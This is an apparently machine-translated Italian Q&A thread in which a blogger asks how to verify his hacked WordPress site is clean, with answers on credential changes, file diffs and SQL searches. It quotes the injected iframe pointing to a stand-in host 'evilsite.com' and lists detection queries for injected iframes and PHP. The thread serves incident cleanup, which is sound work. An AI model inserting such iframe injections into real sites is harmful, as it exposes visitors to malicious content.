Verifica che ho rimosso completamente un hack di WordPress?

105

Il mio blog WordPress per divertimento su http://fakeplasticrock.com (con WordPress 3.1.1) è stato violato - stava mostrando un <iframe>su ogni pagina in questo modo:

<iframe src="http://evilsite.com/go/1"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

Ho fatto quanto segue

Aggiornato alla 3.1.3 tramite il sistema di aggiornamento di WordPress integrato
Ho installato Exploit Scanner (molti avvisi critici su file insoliti) e AntiVirus (questo mostrava tutto verde e pulito, quindi l'ho disinstallato e rimosso dopo l'esecuzione)
Password MySQL modificata.
Modificate tutte le password degli utenti di WordPress.
Connesso via FTP e scaricato l'intero filesystem (non di grandi dimensioni, si tratta di un host condiviso Linux solo WordPress)
Diffuso il filesystem contro un ZIP ufficiale di WordPress 3.1.3 e rimosso o sovrascritto tutto ciò che non corrispondeva.

Ne sono abbastanza sicuro

tutti i file su disco sono file WordPress 3.1.3 ufficiali
non ci sono file "extra" su disco diversi dal mio /theme, il plug-in Exploit Scanner (che ho appena scaricato), la /uploadscartella e una manciata di altri file previsti. L'altro mio plugin, wp-recaptcha, corrisponde all'attuale versione scaricata ufficiale.
Ho anche controllato il .htaccessfile e nulla sembra sbagliato lì

confronto di file wordpress 3.1.3 in Beyond Compare

Non ho toccato il database , ma faccio fatica a pensare a come qualcosa nel database potrebbe essere dannoso senza un codice PHP speciale per farlo funzionare?

Il mio blog WordPress ora sembra OK e privo di hack (credo), ma c'è qualcos'altro che dovrei controllare?

security hacked

— Jeff Atwood
fonte

1

Dovresti tenere aggiornato il blog. :)

— fuxia

80

Hai identificato il vettore exploit? In caso contrario, potresti lasciarti aperto agli exploit futuri.

Altre cose da considerare:

Cambia password utente amministratore WordPress - fatto
Modifica password utente account di hosting
Cambia password FTP
Modifica password utente db MySQL - fatto
Modifica il prefisso della tabella db
Aggiorna il tuo wp-config nonces / salt
Controlla le autorizzazioni della tua directory / file
Blocca l'accesso alla navigazione nella directory tramite .htaccess
Scorri tutto nella voce Hardening WordPress Codex
Passare attraverso tutto nel FAQ Il mio sito è stato violato l'ingresso Codex

— Chip Bennett
fonte

1

scusate, trascurato di menzionarlo, ovviamente ho cambiato le password di WordPress. Post aggiornato e spuntato nell'elenco qui! Non riesco a pensare ad alcun modo in cui potrebbero avere la mia password di hosting, o la password FTP, semplicemente accedendo a WordPress; tale informazione non è presente nel file system o nel database.

— Jeff Atwood,

9

Hai il probabile vettore exploit all'indietro; non è probabile WordPress -> account di hosting , ma piuttosto account di hosting (tramite server o FTP) -> WordPress .

— Chip Bennett,

2

@Jeff alcuni exploit a livello di server su cui non hai alcun controllo (oltre a trovare un host migliore). Ma solo perché non hai usato le credenziali host / FTP non significa che qualcuno non le abbia rubate , ottenendo l'accesso al tuo account di hosting.

— Chip Bennett,

7

C'è un exploit molto comune che fa il giro in cui il malware infetta la tua workstation (o la workstation di un appaltatore), scava le tue password salvate nel tuo programma FTP (o abilitato FTP) preferito e le invia all'attaccante, che quindi compromette il tuo sito e lo utilizza per diffondere lo stesso malware ad altri webmaster. Questo è un modo comune in cui viene rubata la password FTP. Ciò che è particolarmente insidioso è che si diffonde attraverso siti normali come il tuo, non quelli squallidi in cui è probabile che tu stia attento.

— Tylerl,

3

Cordiali saluti, se si ha accesso alla riga di comando, WP-CLI ha un comando di verifica checksum che controllerà ogni file su wordpress.org

— William Turrell,

26

Guardando il messaggio "Navigazione sicura" di Google Chrome, stai ricevendo ".cc iFrame hack" che sembra andare molto in giro ultimamente. Penso che 3.1.3 risolverà questo problema, ma controlla il tuo file index.php nella radice se il tuo sito, è lì che mi ha colpito fino a quando non ho ottenuto TUTTO aggiornato e le password cambiate.

Ci sono alcune cose MOLTO complicate che la gente può fare con iniezioni di post e commenti. Puoi eseguire le seguenti query sul tuo database per aiutarti a trovarne alcune. Ho bloggato il resto del mio "monitoraggio" qui .

SELECT * FROM wp_posts WHERE post_content LIKE '%<iframe%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<noscript%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%display:%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<?%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<?php%'

SELECT * FROM wp_comments WHERE comment_content LIKE '%<iframe%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%<noscript%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%display:%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%<?%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%<?php%'

Spero che sia di aiuto!

— Dillie-O
fonte

4

Vorrei aggiungere SELECT * FROM wp_* WHERE comment_content LIKE '%<?%'e SELECT * FROM wp_* WHERE comment_content LIKE '%<?php%'solo per essere sicuri ...

— SeanJA

4

Oh, un'ultima nota. Suppongo che tu abbia gli strumenti per i Webmaster di Google collegati a questo dominio. Dopo aver ripulito le cose, puoi inviare una richiesta dal tuo account degli strumenti per i webmaster per fare in modo che Google esegua nuovamente la scansione del sito e rimuova il messaggio di avviso. Elaborano richieste dagli strumenti dei webmaster in genere entro un giorno. Altrimenti rimani sulla "lista dei cattivi" per ben 90 giorni.

— Dillie-O,

Ho trovato un sacco di risultati ma è a causa degli iframe incorporati per Vimeo.

— tooshel,

20

Il database può contenere anche codice dannoso: account utente nascosti o valori stampati senza caratteri di escape da qualche parte. Inoltre, controlla la directory di caricamento per i file che non appartengono a questo.

Oh, e cerca di capire come l'attaccante ha trovato la tua strada nel tuo sito. Sugli account condivisi è spesso l'intero server. Controlla gli altri siti sul server per blog compromessi o anche altre pagine. Leggi il tuo registro FTP. Se non sai come è successo, non puoi impedire la prossima pausa.

— fuxia
fonte

Exploit Scanner non trova alcun account utente nascosto?

— Jeff Atwood,

@Jeff Atwood Non mi affiderei a questo. La tua tabella utente non è così grande. Puoi leggerlo facilmente senza alcun plug-in.

— fuxia

Ho controllato la wp_userstabella e solo 2 righe, entrambe previste ... niente nella /uploadcartella insolito (solo gif e png e jpeg)

— Jeff Atwood,

@Jeff Atwood Hai esaminato i file o solo le estensioni? Tutti i file sono elencati nel catalogo multimediale?

— fuxia

4

I file di immagine sono un metodo di consegna del payload abbastanza comune. Vedi qui , e anche il Team di revisione dei temi si è imbattuto in Temi usando un simile exploit TIFF.) Quindi, sì: controllerei ognuno, per assicurarmi che faccia parte della Libreria multimediale. (Facile scansione di alto livello: verifica la presenza di immagini senza dimensioni di anteprima definite.)

— Chip Bennett,

13

Mi dispiace sentire che sei stato violato - sembra che tu abbia fatto un ottimo lavoro di recupero!

Il tuo filesystem sembra dorato, non direi che c'è qualcos'altro che potresti fare qui.

Penserei che Exploit Scanner lanci un avvertimento se trovasse script, iframe, PHP (anche se pericolosi solo se valutati) o altri codici insoliti nel tuo database.

Non sono sicuro che controlli tabelle diverse da post e commenti, potrebbe valere la pena di dare /wp-admin/options.phpun'occhiata per vedere rapidamente se vedi qualcosa di strano.

Verificherei anche la tabella degli utenti in un client MySQL (gli utenti potrebbero trovarsi nel database ma non essere visibili nell'amministratore).

— TheDeadMedic
fonte

sicuramente una buona idea eseguire una query MySQL sulla tabella degli utenti per assicurarsi che non ci sia nulla di inaspettato, e l'ho fatto. Buona dritta!

— Jeff Atwood,

8

Controlla gli strumenti per i Webmaster di Google per due cose:

verifica che il tuo sito non sia stato contrassegnato come compromesso e, se lo ha richiesto, richiedi un riesame
controlla il tuo sito come Googlebot e verifica che non venga inserito spam che sia visibile solo a Googlebot - un esempio di questo è l'hack di WP Pharma

Inoltre, implementerei nuovamente il tema o lo controllerei con estrema attenzione. Alcune righe di PHP possono ridefinire le funzioni principali di PHP in modo da estrarre codice dannoso dal database, in particolare le tabelle chiave / archivio valori wp_options

— Jon Galloway
fonte

sì, ho sicuramente reinviato il sito tramite Strumenti per i Webmaster di Google e ora sembra "cancellato".

— Jeff Atwood,

6

Cerca "iframe" nel database tramite phpmyadmin oppure scarica il database e cerca il testo.

E verifica la presenza di utenti invisibili nella tabella degli utenti; Ho visto utenti nelle tabelle che non sono stati visualizzati in WP Admin >> Utenti.

Opzioni pulite «I plug-in di WordPress mostreranno quale spazzatura dei plug-in vecchi e probabilmente vulnerabili è rimasta nel database.

Anche il tuo tema non ha il <head>tag, quindi controllerei che, nel caso in cui lo avessi modificato, per rimuovere collegamenti errati.

E il solito: e come trovare una backdoor in un WordPress hackerato e indurire WordPress «WordPress Codex

— markratledge
fonte

5

"c'è qualcos'altro che dovrei controllare?" Devi esaminare il tuo processo e scoprire come sei stato hackerato (quasi certamente perché non hai eseguito il patch in tempo o correttamente) e risolvere anche quello, non solo i sintomi.

— Tom Chiverton
fonte

5

Dubito che abbia avuto a che fare con il mancato aggiornamento di WordPress (anche se è possibile , non è probabile ). WordPress stesso non è quasi mai il vettore exploit. I soliti vettori sono la configurazione dell'host non sicura e le credenziali FTP rubate.

— Chip Bennett,

4

Ciò mi è successo una volta, attraverso una perdita di mediatemple. Ho dovuto scrivere un plugin per controllare il database per i collegamenti iniettati. Puoi prenderlo qui come github gist .

È abbastanza facile da usare, ha diversi passaggi che forniscono feedback e ricontrollano il database dopo aver finito.

In bocca al lupo!

— Kaiser
fonte

4

Ho avuto un hack molto simile che ho dovuto correggere su uno dei miei siti client.

C'erano script dannosi nel filesystem (php base64_decode stuff). Tuttavia, le tabelle "post" e "commenti" del database erano state compromesse e anche il codice iframe era sparso attraverso quei dati.

Avrei almeno eseguito alcune ricerche sul DB, solo per sicurezza. :)

— Eric Allison
fonte

3

Controlla i tuoi plug-in! Finora quest'anno ci sono stati 60 rilasci di exploit dai plug-in .org, sospetterei che il numero reale sia molto più alto poiché nessuno lo sta davvero facendo a tempo pieno.

Hai elencato che hai solo un plug-in, beh, aveva un buco di sicurezza (non sono sicuro di quanto tempo è rimasto e potrebbe non essere il vettore).

wp-recaptcha-plugin
L'exploit è stato rilasciato:
18-03-2011 Versione exploit: 2.9.8

L'autore ha dichiarato di aver riscritto con la versione 3.0, ma non si fa menzione della patch di sicurezza.

http://www.wpsecure.net/2011/03/wp-recaptcha-plugin/

Registro delle modifiche: http://wordpress.org/extend/plugins/wp-recaptcha/changelog/

— Wyck
fonte

2

Uso un server cloud e ho numeri di porta ssh stravaganti casuali senza ftp. Le password sono estremamente difficili da hackerare. Tutti gli accessi root sono completamente negati. Sono d'accordo che WordPress non sarà il tuo colpevole. Un'altra cosa da verificare è che le sessioni ftp non si chiudano, il virus sul tuo personal computer (ricorda che puoi caricare un file sul tuo sito e chi carica quel file può ottenere lo stesso virus), non conservare le password su siti pubblici o privati i siti li sistemano sempre su carta, mai su un documento word o un blocco note.

Infine chiedi al tuo host se di recente ha avuto una violazione in quanto dovrebbe avere una configurazione del firewall

— xLRDxREVENGEx
fonte

2

Controlla la data dei tuoi file. Nessun file dovrebbe avere una modifica dei dati più recente della tua ultima modifica / installazione!

Ma anche questo può essere falso. Il modo più semplice per essere sicuri sarebbe quello di confrontare (es. Hash compare) tutti i file con i file di installazione originali.

— powtac
fonte